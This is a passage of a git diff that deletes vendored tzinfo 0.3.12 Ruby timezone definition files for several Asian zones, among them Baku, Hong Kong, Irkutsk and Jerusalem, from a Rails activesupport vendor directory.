-          tz.transition 1991, 10, :o2, 686275200
-          tz.transition 1992, 4, :o3, 702086400
-          tz.transition 1992, 10, :o2, 717897600
-          tz.transition 1993, 4, :o3, 733622400
-          tz.transition 1993, 10, :o2, 749433600
-          tz.transition 1994, 4, :o3, 765158400
-          tz.transition 1994, 10, :o2, 780969600
-          tz.transition 1995, 4, :o3, 796694400
-          tz.transition 1995, 10, :o2, 812505600
-          tz.transition 1996, 4, :o3, 828316800
-          tz.transition 1996, 10, :o2, 844128000
-          tz.transition 1997, 4, :o3, 859852800
-          tz.transition 1997, 10, :o2, 875664000
-          tz.transition 1998, 4, :o3, 891388800
-          tz.transition 1998, 10, :o2, 907200000
-          tz.transition 1999, 4, :o3, 922924800
-          tz.transition 1999, 10, :o2, 938736000
-          tz.transition 2000, 4, :o3, 954547200
-          tz.transition 2000, 10, :o2, 970358400
-          tz.transition 2001, 4, :o3, 986083200
-          tz.transition 2001, 10, :o2, 1001894400
-          tz.transition 2002, 4, :o3, 1017619200
-          tz.transition 2002, 10, :o2, 1033430400
-          tz.transition 2003, 4, :o3, 1049155200
-          tz.transition 2003, 10, :o2, 1064966400
-          tz.transition 2004, 4, :o3, 1080777600
-          tz.transition 2004, 10, :o2, 1096588800
-          tz.transition 2005, 4, :o3, 1112313600
-          tz.transition 2005, 10, :o2, 1128124800
-          tz.transition 2006, 4, :o3, 1143849600
-          tz.transition 2006, 10, :o2, 1159660800
-          tz.transition 2007, 4, :o3, 1175385600
-          tz.transition 2007, 10, :o2, 1191196800
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb
deleted file mode 100644
index e86340eb..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb
+++ /dev/null
@@ -1,161 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Baku
-        include TimezoneDefinition
-        
-        timezone 'Asia/Baku' do |tz|
-          tz.offset :o0, 11964, 0, :LMT
-          tz.offset :o1, 10800, 0, :BAKT
-          tz.offset :o2, 14400, 0, :BAKT
-          tz.offset :o3, 14400, 3600, :BAKST
-          tz.offset :o4, 10800, 3600, :BAKST
-          tz.offset :o5, 10800, 3600, :AZST
-          tz.offset :o6, 10800, 0, :AZT
-          tz.offset :o7, 14400, 0, :AZT
-          tz.offset :o8, 14400, 3600, :AZST
-          
-          tz.transition 1924, 5, :o1, 17452133003, 7200
-          tz.transition 1957, 2, :o2, 19487187, 8
-          tz.transition 1981, 3, :o3, 354916800
-          tz.transition 1981, 9, :o2, 370724400
-          tz.transition 1982, 3, :o3, 386452800
-          tz.transition 1982, 9, :o2, 402260400
-          tz.transition 1983, 3, :o3, 417988800
-          tz.transition 1983, 9, :o2, 433796400
-          tz.transition 1984, 3, :o3, 449611200
-          tz.transition 1984, 9, :o2, 465343200
-          tz.transition 1985, 3, :o3, 481068000
-          tz.transition 1985, 9, :o2, 496792800
-          tz.transition 1986, 3, :o3, 512517600
-          tz.transition 1986, 9, :o2, 528242400
-          tz.transition 1987, 3, :o3, 543967200
-          tz.transition 1987, 9, :o2, 559692000
-          tz.transition 1988, 3, :o3, 575416800
-          tz.transition 1988, 9, :o2, 591141600
-          tz.transition 1989, 3, :o3, 606866400
-          tz.transition 1989, 9, :o2, 622591200
-          tz.transition 1990, 3, :o3, 638316000
-          tz.transition 1990, 9, :o2, 654645600
-          tz.transition 1991, 3, :o4, 670370400
-          tz.transition 1991, 8, :o5, 683496000
-          tz.transition 1991, 9, :o6, 686098800
-          tz.transition 1992, 3, :o5, 701812800
-          tz.transition 1992, 9, :o7, 717534000
-          tz.transition 1996, 3, :o8, 828234000
-          tz.transition 1996, 10, :o7, 846378000
-          tz.transition 1997, 3, :o8, 859680000
-          tz.transition 1997, 10, :o7, 877824000
-          tz.transition 1998, 3, :o8, 891129600
-          tz.transition 1998, 10, :o7, 909273600
-          tz.transition 1999, 3, :o8, 922579200
-          tz.transition 1999, 10, :o7, 941328000
-          tz.transition 2000, 3, :o8, 954028800
-          tz.transition 2000, 10, :o7, 972777600
-          tz.transition 2001, 3, :o8, 985478400
-          tz.transition 2001, 10, :o7, 1004227200
-          tz.transition 2002, 3, :o8, 1017532800
-          tz.transition 2002, 10, :o7, 1035676800
-          tz.transition 2003, 3, :o8, 1048982400
-          tz.transition 2003, 10, :o7, 1067126400
-          tz.transition 2004, 3, :o8, 1080432000
-          tz.transition 2004, 10, :o7, 1099180800
-          tz.transition 2005, 3, :o8, 1111881600
-          tz.transition 2005, 10, :o7, 1130630400
-          tz.transition 2006, 3, :o8, 1143331200
-          tz.transition 2006, 10, :o7, 1162080000
-          tz.transition 2007, 3, :o8, 1174780800
-          tz.transition 2007, 10, :o7, 1193529600
-          tz.transition 2008, 3, :o8, 1206835200
-          tz.transition 2008, 10, :o7, 1224979200
-          tz.transition 2009, 3, :o8, 1238284800
-          tz.transition 2009, 10, :o7, 1256428800
-          tz.transition 2010, 3, :o8, 1269734400
-          tz.transition 2010, 10, :o7, 1288483200
-          tz.transition 2011, 3, :o8, 1301184000
-          tz.transition 2011, 10, :o7, 1319932800
-          tz.transition 2012, 3, :o8, 1332633600
-          tz.transition 2012, 10, :o7, 1351382400
-          tz.transition 2013, 3, :o8, 1364688000
-          tz.transition 2013, 10, :o7, 1382832000
-          tz.transition 2014, 3, :o8, 1396137600
-          tz.transition 2014, 10, :o7, 1414281600
-          tz.transition 2015, 3, :o8, 1427587200
-          tz.transition 2015, 10, :o7, 1445731200
-          tz.transition 2016, 3, :o8, 1459036800
-          tz.transition 2016, 10, :o7, 1477785600
-          tz.transition 2017, 3, :o8, 1490486400
-          tz.transition 2017, 10, :o7, 1509235200
-          tz.transition 2018, 3, :o8, 1521936000
-          tz.transition 2018, 10, :o7, 1540684800
-          tz.transition 2019, 3, :o8, 1553990400
-          tz.transition 2019, 10, :o7, 1572134400
-          tz.transition 2020, 3, :o8, 1585440000
-          tz.transition 2020, 10, :o7, 1603584000
-          tz.transition 2021, 3, :o8, 1616889600
-          tz.transition 2021, 10, :o7, 1635638400
-          tz.transition 2022, 3, :o8, 1648339200
-          tz.transition 2022, 10, :o7, 1667088000
-          tz.transition 2023, 3, :o8, 1679788800
-          tz.transition 2023, 10, :o7, 1698537600
-          tz.transition 2024, 3, :o8, 1711843200
-          tz.transition 2024, 10, :o7, 1729987200
-          tz.transition 2025, 3, :o8, 1743292800
-          tz.transition 2025, 10, :o7, 1761436800
-          tz.transition 2026, 3, :o8, 1774742400
-          tz.transition 2026, 10, :o7, 1792886400
-          tz.transition 2027, 3, :o8, 1806192000
-          tz.transition 2027, 10, :o7, 1824940800
-          tz.transition 2028, 3, :o8, 1837641600
-          tz.transition 2028, 10, :o7, 1856390400
-          tz.transition 2029, 3, :o8, 1869091200
-          tz.transition 2029, 10, :o7, 1887840000
-          tz.transition 2030, 3, :o8, 1901145600
-          tz.transition 2030, 10, :o7, 1919289600
-          tz.transition 2031, 3, :o8, 1932595200
-          tz.transition 2031, 10, :o7, 1950739200
-          tz.transition 2032, 3, :o8, 1964044800
-          tz.transition 2032, 10, :o7, 1982793600
-          tz.transition 2033, 3, :o8, 1995494400
-          tz.transition 2033, 10, :o7, 2014243200
-          tz.transition 2034, 3, :o8, 2026944000
-          tz.transition 2034, 10, :o7, 2045692800
-          tz.transition 2035, 3, :o8, 2058393600
-          tz.transition 2035, 10, :o7, 2077142400
-          tz.transition 2036, 3, :o8, 2090448000
-          tz.transition 2036, 10, :o7, 2108592000
-          tz.transition 2037, 3, :o8, 2121897600
-          tz.transition 2037, 10, :o7, 2140041600
-          tz.transition 2038, 3, :o8, 4931021, 2
-          tz.transition 2038, 10, :o7, 4931455, 2
-          tz.transition 2039, 3, :o8, 4931749, 2
-          tz.transition 2039, 10, :o7, 4932183, 2
-          tz.transition 2040, 3, :o8, 4932477, 2
-          tz.transition 2040, 10, :o7, 4932911, 2
-          tz.transition 2041, 3, :o8, 4933219, 2
-          tz.transition 2041, 10, :o7, 4933639, 2
-          tz.transition 2042, 3, :o8, 4933947, 2
-          tz.transition 2042, 10, :o7, 4934367, 2
-          tz.transition 2043, 3, :o8, 4934675, 2
-          tz.transition 2043, 10, :o7, 4935095, 2
-          tz.transition 2044, 3, :o8, 4935403, 2
-          tz.transition 2044, 10, :o7, 4935837, 2
-          tz.transition 2045, 3, :o8, 4936131, 2
-          tz.transition 2045, 10, :o7, 4936565, 2
-          tz.transition 2046, 3, :o8, 4936859, 2
-          tz.transition 2046, 10, :o7, 4937293, 2
-          tz.transition 2047, 3, :o8, 4937601, 2
-          tz.transition 2047, 10, :o7, 4938021, 2
-          tz.transition 2048, 3, :o8, 4938329, 2
-          tz.transition 2048, 10, :o7, 4938749, 2
-          tz.transition 2049, 3, :o8, 4939057, 2
-          tz.transition 2049, 10, :o7, 4939491, 2
-          tz.transition 2050, 3, :o8, 4939785, 2
-          tz.transition 2050, 10, :o7, 4940219, 2
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb
deleted file mode 100644
index 139194e5..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Bangkok
-        include TimezoneDefinition
-        
-        timezone 'Asia/Bangkok' do |tz|
-          tz.offset :o0, 24124, 0, :LMT
-          tz.offset :o1, 24124, 0, :BMT
-          tz.offset :o2, 25200, 0, :ICT
-          
-          tz.transition 1879, 12, :o1, 52006648769, 21600
-          tz.transition 1920, 3, :o2, 52324168769, 21600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb
deleted file mode 100644
index 8c94b4ba..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Chongqing
-        include TimezoneDefinition
-        
-        timezone 'Asia/Chongqing' do |tz|
-          tz.offset :o0, 25580, 0, :LMT
-          tz.offset :o1, 25200, 0, :LONT
-          tz.offset :o2, 28800, 0, :CST
-          tz.offset :o3, 28800, 3600, :CDT
-          
-          tz.transition 1927, 12, :o1, 10477063601, 4320
-          tz.transition 1980, 4, :o2, 325962000
-          tz.transition 1986, 5, :o3, 515520000
-          tz.transition 1986, 9, :o2, 527007600
-          tz.transition 1987, 4, :o3, 545155200
-          tz.transition 1987, 9, :o2, 558457200
-          tz.transition 1988, 4, :o3, 576604800
-          tz.transition 1988, 9, :o2, 589906800
-          tz.transition 1989, 4, :o3, 608659200
-          tz.transition 1989, 9, :o2, 621961200
-          tz.transition 1990, 4, :o3, 640108800
-          tz.transition 1990, 9, :o2, 653410800
-          tz.transition 1991, 4, :o3, 671558400
-          tz.transition 1991, 9, :o2, 684860400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb
deleted file mode 100644
index f6531fa8..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Colombo
-        include TimezoneDefinition
-        
-        timezone 'Asia/Colombo' do |tz|
-          tz.offset :o0, 19164, 0, :LMT
-          tz.offset :o1, 19172, 0, :MMT
-          tz.offset :o2, 19800, 0, :IST
-          tz.offset :o3, 19800, 1800, :IHST
-          tz.offset :o4, 19800, 3600, :IST
-          tz.offset :o5, 23400, 0, :LKT
-          tz.offset :o6, 21600, 0, :LKT
-          
-          tz.transition 1879, 12, :o1, 17335550003, 7200
-          tz.transition 1905, 12, :o2, 52211763607, 21600
-          tz.transition 1942, 1, :o3, 116657485, 48
-          tz.transition 1942, 8, :o4, 9722413, 4
-          tz.transition 1945, 10, :o2, 38907909, 16
-          tz.transition 1996, 5, :o5, 832962600
-          tz.transition 1996, 10, :o6, 846266400
-          tz.transition 2006, 4, :o2, 1145039400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb
deleted file mode 100644
index ccd02655..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Dhaka
-        include TimezoneDefinition
-        
-        timezone 'Asia/Dhaka' do |tz|
-          tz.offset :o0, 21700, 0, :LMT
-          tz.offset :o1, 21200, 0, :HMT
-          tz.offset :o2, 23400, 0, :BURT
-          tz.offset :o3, 19800, 0, :IST
-          tz.offset :o4, 21600, 0, :DACT
-          tz.offset :o5, 21600, 0, :BDT
-          
-          tz.transition 1889, 12, :o1, 2083422167, 864
-          tz.transition 1941, 9, :o2, 524937943, 216
-          tz.transition 1942, 5, :o3, 116663723, 48
-          tz.transition 1942, 8, :o2, 116668957, 48
-          tz.transition 1951, 9, :o4, 116828123, 48
-          tz.transition 1971, 3, :o5, 38772000
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb
deleted file mode 100644
index f1edd75a..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Hong_Kong
-        include TimezoneDefinition
-        
-        timezone 'Asia/Hong_Kong' do |tz|
-          tz.offset :o0, 27396, 0, :LMT
-          tz.offset :o1, 28800, 0, :HKT
-          tz.offset :o2, 28800, 3600, :HKST
-          
-          tz.transition 1904, 10, :o1, 5800279639, 2400
-          tz.transition 1946, 4, :o2, 38910885, 16
-          tz.transition 1946, 11, :o1, 116743453, 48
-          tz.transition 1947, 4, :o2, 38916613, 16
-          tz.transition 1947, 12, :o1, 116762365, 48
-          tz.transition 1948, 5, :o2, 38922773, 16
-          tz.transition 1948, 10, :o1, 116777053, 48
-          tz.transition 1949, 4, :o2, 38928149, 16
-          tz.transition 1949, 10, :o1, 116794525, 48
-          tz.transition 1950, 4, :o2, 38933973, 16
-          tz.transition 1950, 10, :o1, 116811997, 48
-          tz.transition 1951, 3, :o2, 38939797, 16
-          tz.transition 1951, 10, :o1, 116829469, 48
-          tz.transition 1952, 4, :o2, 38945733, 16
-          tz.transition 1952, 10, :o1, 116846941, 48
-          tz.transition 1953, 4, :o2, 38951557, 16
-          tz.transition 1953, 10, :o1, 116864749, 48
-          tz.transition 1954, 3, :o2, 38957157, 16
-          tz.transition 1954, 10, :o1, 116882221, 48
-          tz.transition 1955, 3, :o2, 38962981, 16
-          tz.transition 1955, 11, :o1, 116900029, 48
-          tz.transition 1956, 3, :o2, 38968805, 16
-          tz.transition 1956, 11, :o1, 116917501, 48
-          tz.transition 1957, 3, :o2, 38974741, 16
-          tz.transition 1957, 11, :o1, 116934973, 48
-          tz.transition 1958, 3, :o2, 38980565, 16
-          tz.transition 1958, 11, :o1, 116952445, 48
-          tz.transition 1959, 3, :o2, 38986389, 16
-          tz.transition 1959, 10, :o1, 116969917, 48
-          tz.transition 1960, 3, :o2, 38992213, 16
-          tz.transition 1960, 11, :o1, 116987725, 48
-          tz.transition 1961, 3, :o2, 38998037, 16
-          tz.transition 1961, 11, :o1, 117005197, 48
-          tz.transition 1962, 3, :o2, 39003861, 16
-          tz.transition 1962, 11, :o1, 117022669, 48
-          tz.transition 1963, 3, :o2, 39009797, 16
-          tz.transition 1963, 11, :o1, 117040141, 48
-          tz.transition 1964, 3, :o2, 39015621, 16
-          tz.transition 1964, 10, :o1, 117057613, 48
-          tz.transition 1965, 4, :o2, 39021893, 16
-          tz.transition 1965, 10, :o1, 117074413, 48
-          tz.transition 1966, 4, :o2, 39027717, 16
-          tz.transition 1966, 10, :o1, 117091885, 48
-          tz.transition 1967, 4, :o2, 39033541, 16
-          tz.transition 1967, 10, :o1, 117109693, 48
-          tz.transition 1968, 4, :o2, 39039477, 16
-          tz.transition 1968, 10, :o1, 117127165, 48
-          tz.transition 1969, 4, :o2, 39045301, 16
-          tz.transition 1969, 10, :o1, 117144637, 48
-          tz.transition 1970, 4, :o2, 9315000
-          tz.transition 1970, 10, :o1, 25036200
-          tz.transition 1971, 4, :o2, 40764600
-          tz.transition 1971, 10, :o1, 56485800
-          tz.transition 1972, 4, :o2, 72214200
-          tz.transition 1972, 10, :o1, 88540200
-          tz.transition 1973, 4, :o2, 104268600
-          tz.transition 1973, 10, :o1, 119989800
-          tz.transition 1974, 4, :o2, 135718200
-          tz.transition 1974, 10, :o1, 151439400
-          tz.transition 1975, 4, :o2, 167167800
-          tz.transition 1975, 10, :o1, 182889000
-          tz.transition 1976, 4, :o2, 198617400
-          tz.transition 1976, 10, :o1, 214338600
-          tz.transition 1977, 4, :o2, 230067000
-          tz.transition 1977, 10, :o1, 245788200
-          tz.transition 1979, 5, :o2, 295385400
-          tz.transition 1979, 10, :o1, 309292200
-          tz.transition 1980, 5, :o2, 326835000
-          tz.transition 1980, 10, :o1, 340741800
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb
deleted file mode 100644
index 2d47d958..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb
+++ /dev/null
@@ -1,165 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Irkutsk
-        include TimezoneDefinition
-        
-        timezone 'Asia/Irkutsk' do |tz|
-          tz.offset :o0, 25040, 0, :LMT
-          tz.offset :o1, 25040, 0, :IMT
-          tz.offset :o2, 25200, 0, :IRKT
-          tz.offset :o3, 28800, 0, :IRKT
-          tz.offset :o4, 28800, 3600, :IRKST
-          tz.offset :o5, 25200, 3600, :IRKST
-          
-          tz.transition 1879, 12, :o1, 2600332427, 1080
-          tz.transition 1920, 1, :o2, 2616136067, 1080
-          tz.transition 1930, 6, :o3, 58227557, 24
-          tz.transition 1981, 3, :o4, 354902400
-          tz.transition 1981, 9, :o3, 370710000
-          tz.transition 1982, 3, :o4, 386438400
-          tz.transition 1982, 9, :o3, 402246000
-          tz.transition 1983, 3, :o4, 417974400
-          tz.transition 1983, 9, :o3, 433782000
-          tz.transition 1984, 3, :o4, 449596800
-          tz.transition 1984, 9, :o3, 465328800
-          tz.transition 1985, 3, :o4, 481053600
-          tz.transition 1985, 9, :o3, 496778400
-          tz.transition 1986, 3, :o4, 512503200
-          tz.transition 1986, 9, :o3, 528228000
-          tz.transition 1987, 3, :o4, 543952800
-          tz.transition 1987, 9, :o3, 559677600
-          tz.transition 1988, 3, :o4, 575402400
-          tz.transition 1988, 9, :o3, 591127200
-          tz.transition 1989, 3, :o4, 606852000
-          tz.transition 1989, 9, :o3, 622576800
-          tz.transition 1990, 3, :o4, 638301600
-          tz.transition 1990, 9, :o3, 654631200
-          tz.transition 1991, 3, :o5, 670356000
-          tz.transition 1991, 9, :o2, 686084400
-          tz.transition 1992, 1, :o3, 695761200
-          tz.transition 1992, 3, :o4, 701794800
-          tz.transition 1992, 9, :o3, 717516000
-          tz.transition 1993, 3, :o4, 733255200
-          tz.transition 1993, 9, :o3, 748980000
-          tz.transition 1994, 3, :o4, 764704800
-          tz.transition 1994, 9, :o3, 780429600
-          tz.transition 1995, 3, :o4, 796154400
-          tz.transition 1995, 9, :o3, 811879200
-          tz.transition 1996, 3, :o4, 828208800
-          tz.transition 1996, 10, :o3, 846352800
-          tz.transition 1997, 3, :o4, 859658400
-          tz.transition 1997, 10, :o3, 877802400
-          tz.transition 1998, 3, :o4, 891108000
-          tz.transition 1998, 10, :o3, 909252000
-          tz.transition 1999, 3, :o4, 922557600
-          tz.transition 1999, 10, :o3, 941306400
-          tz.transition 2000, 3, :o4, 954007200
-          tz.transition 2000, 10, :o3, 972756000
-          tz.transition 2001, 3, :o4, 985456800
-          tz.transition 2001, 10, :o3, 1004205600
-          tz.transition 2002, 3, :o4, 1017511200
-          tz.transition 2002, 10, :o3, 1035655200
-          tz.transition 2003, 3, :o4, 1048960800
-          tz.transition 2003, 10, :o3, 1067104800
-          tz.transition 2004, 3, :o4, 1080410400
-          tz.transition 2004, 10, :o3, 1099159200
-          tz.transition 2005, 3, :o4, 1111860000
-          tz.transition 2005, 10, :o3, 1130608800
-          tz.transition 2006, 3, :o4, 1143309600
-          tz.transition 2006, 10, :o3, 1162058400
-          tz.transition 2007, 3, :o4, 1174759200
-          tz.transition 2007, 10, :o3, 1193508000
-          tz.transition 2008, 3, :o4, 1206813600
-          tz.transition 2008, 10, :o3, 1224957600
-          tz.transition 2009, 3, :o4, 1238263200
-          tz.transition 2009, 10, :o3, 1256407200
-          tz.transition 2010, 3, :o4, 1269712800
-          tz.transition 2010, 10, :o3, 1288461600
-          tz.transition 2011, 3, :o4, 1301162400
-          tz.transition 2011, 10, :o3, 1319911200
-          tz.transition 2012, 3, :o4, 1332612000
-          tz.transition 2012, 10, :o3, 1351360800
-          tz.transition 2013, 3, :o4, 1364666400
-          tz.transition 2013, 10, :o3, 1382810400
-          tz.transition 2014, 3, :o4, 1396116000
-          tz.transition 2014, 10, :o3, 1414260000
-          tz.transition 2015, 3, :o4, 1427565600
-          tz.transition 2015, 10, :o3, 1445709600
-          tz.transition 2016, 3, :o4, 1459015200
-          tz.transition 2016, 10, :o3, 1477764000
-          tz.transition 2017, 3, :o4, 1490464800
-          tz.transition 2017, 10, :o3, 1509213600
-          tz.transition 2018, 3, :o4, 1521914400
-          tz.transition 2018, 10, :o3, 1540663200
-          tz.transition 2019, 3, :o4, 1553968800
-          tz.transition 2019, 10, :o3, 1572112800
-          tz.transition 2020, 3, :o4, 1585418400
-          tz.transition 2020, 10, :o3, 1603562400
-          tz.transition 2021, 3, :o4, 1616868000
-          tz.transition 2021, 10, :o3, 1635616800
-          tz.transition 2022, 3, :o4, 1648317600
-          tz.transition 2022, 10, :o3, 1667066400
-          tz.transition 2023, 3, :o4, 1679767200
-          tz.transition 2023, 10, :o3, 1698516000
-          tz.transition 2024, 3, :o4, 1711821600
-          tz.transition 2024, 10, :o3, 1729965600
-          tz.transition 2025, 3, :o4, 1743271200
-          tz.transition 2025, 10, :o3, 1761415200
-          tz.transition 2026, 3, :o4, 1774720800
-          tz.transition 2026, 10, :o3, 1792864800
-          tz.transition 2027, 3, :o4, 1806170400
-          tz.transition 2027, 10, :o3, 1824919200
-          tz.transition 2028, 3, :o4, 1837620000
-          tz.transition 2028, 10, :o3, 1856368800
-          tz.transition 2029, 3, :o4, 1869069600
-          tz.transition 2029, 10, :o3, 1887818400
-          tz.transition 2030, 3, :o4, 1901124000
-          tz.transition 2030, 10, :o3, 1919268000
-          tz.transition 2031, 3, :o4, 1932573600
-          tz.transition 2031, 10, :o3, 1950717600
-          tz.transition 2032, 3, :o4, 1964023200
-          tz.transition 2032, 10, :o3, 1982772000
-          tz.transition 2033, 3, :o4, 1995472800
-          tz.transition 2033, 10, :o3, 2014221600
-          tz.transition 2034, 3, :o4, 2026922400
-          tz.transition 2034, 10, :o3, 2045671200
-          tz.transition 2035, 3, :o4, 2058372000
-          tz.transition 2035, 10, :o3, 2077120800
-          tz.transition 2036, 3, :o4, 2090426400
-          tz.transition 2036, 10, :o3, 2108570400
-          tz.transition 2037, 3, :o4, 2121876000
-          tz.transition 2037, 10, :o3, 2140020000
-          tz.transition 2038, 3, :o4, 9862041, 4
-          tz.transition 2038, 10, :o3, 9862909, 4
-          tz.transition 2039, 3, :o4, 9863497, 4
-          tz.transition 2039, 10, :o3, 9864365, 4
-          tz.transition 2040, 3, :o4, 9864953, 4
-          tz.transition 2040, 10, :o3, 9865821, 4
-          tz.transition 2041, 3, :o4, 9866437, 4
-          tz.transition 2041, 10, :o3, 9867277, 4
-          tz.transition 2042, 3, :o4, 9867893, 4
-          tz.transition 2042, 10, :o3, 9868733, 4
-          tz.transition 2043, 3, :o4, 9869349, 4
-          tz.transition 2043, 10, :o3, 9870189, 4
-          tz.transition 2044, 3, :o4, 9870805, 4
-          tz.transition 2044, 10, :o3, 9871673, 4
-          tz.transition 2045, 3, :o4, 9872261, 4
-          tz.transition 2045, 10, :o3, 9873129, 4
-          tz.transition 2046, 3, :o4, 9873717, 4
-          tz.transition 2046, 10, :o3, 9874585, 4
-          tz.transition 2047, 3, :o4, 9875201, 4
-          tz.transition 2047, 10, :o3, 9876041, 4
-          tz.transition 2048, 3, :o4, 9876657, 4
-          tz.transition 2048, 10, :o3, 9877497, 4
-          tz.transition 2049, 3, :o4, 9878113, 4
-          tz.transition 2049, 10, :o3, 9878981, 4
-          tz.transition 2050, 3, :o4, 9879569, 4
-          tz.transition 2050, 10, :o3, 9880437, 4
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb
deleted file mode 100644
index cc58fa17..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Jakarta
-        include TimezoneDefinition
-        
-        timezone 'Asia/Jakarta' do |tz|
-          tz.offset :o0, 25632, 0, :LMT
-          tz.offset :o1, 25632, 0, :JMT
-          tz.offset :o2, 26400, 0, :JAVT
-          tz.offset :o3, 27000, 0, :WIT
-          tz.offset :o4, 32400, 0, :JST
-          tz.offset :o5, 28800, 0, :WIT
-          tz.offset :o6, 25200, 0, :WIT
-          
-          tz.transition 1867, 8, :o1, 720956461, 300
-          tz.transition 1923, 12, :o2, 87256267, 36
-          tz.transition 1932, 10, :o3, 87372439, 36
-          tz.transition 1942, 3, :o4, 38887059, 16
-          tz.transition 1945, 9, :o3, 19453769, 8
-          tz.transition 1948, 4, :o5, 38922755, 16
-          tz.transition 1950, 4, :o3, 14600413, 6
-          tz.transition 1963, 12, :o6, 39014323, 16
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb
deleted file mode 100644
index 9b737b89..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Jerusalem
-        include TimezoneDefinition
-        
-        timezone 'Asia/Jerusalem' do |tz|
-          tz.offset :o0, 8456, 0, :LMT
-          tz.offset :o1, 8440, 0, :JMT
-          tz.offset :o2, 7200, 0, :IST
-          tz.offset :o3, 7200, 3600, :IDT
-          tz.offset :o4, 7200, 7200, :IDDT
-          
-          tz.transition 1879, 12, :o1, 26003326343, 10800
-          tz.transition 1917, 12, :o2, 5230643909, 2160
-          tz.transition 1940, 5, :o3, 29157377, 12
-          tz.transition 1942, 10, :o2, 19445315, 8
-          tz.transition 1943, 4, :o3, 4861631, 2
-          tz.transition 1943, 10, :o2, 19448235, 8
-          tz.transition 1944, 3, :o3, 29174177, 12
-          tz.transition 1944, 10, :o2, 19451163, 8
-          tz.transition 1945, 4, :o3, 29178737, 12
-          tz.transition 1945, 10, :o2, 58362251, 24
-          tz.transition 1946, 4, :o3, 4863853, 2
-          tz.transition 1946, 10, :o2, 19457003, 8
-          tz.transition 1948, 5, :o4, 29192333, 12
-          tz.transition 1948, 8, :o3, 7298386, 3
-          tz.transition 1948, 10, :o2, 58388555, 24
-          tz.transition 1949, 4, :o3, 29196449, 12
-          tz.transition 1949, 10, :o2, 58397315, 24
-          tz.transition 1950, 4, :o3, 29200649, 12
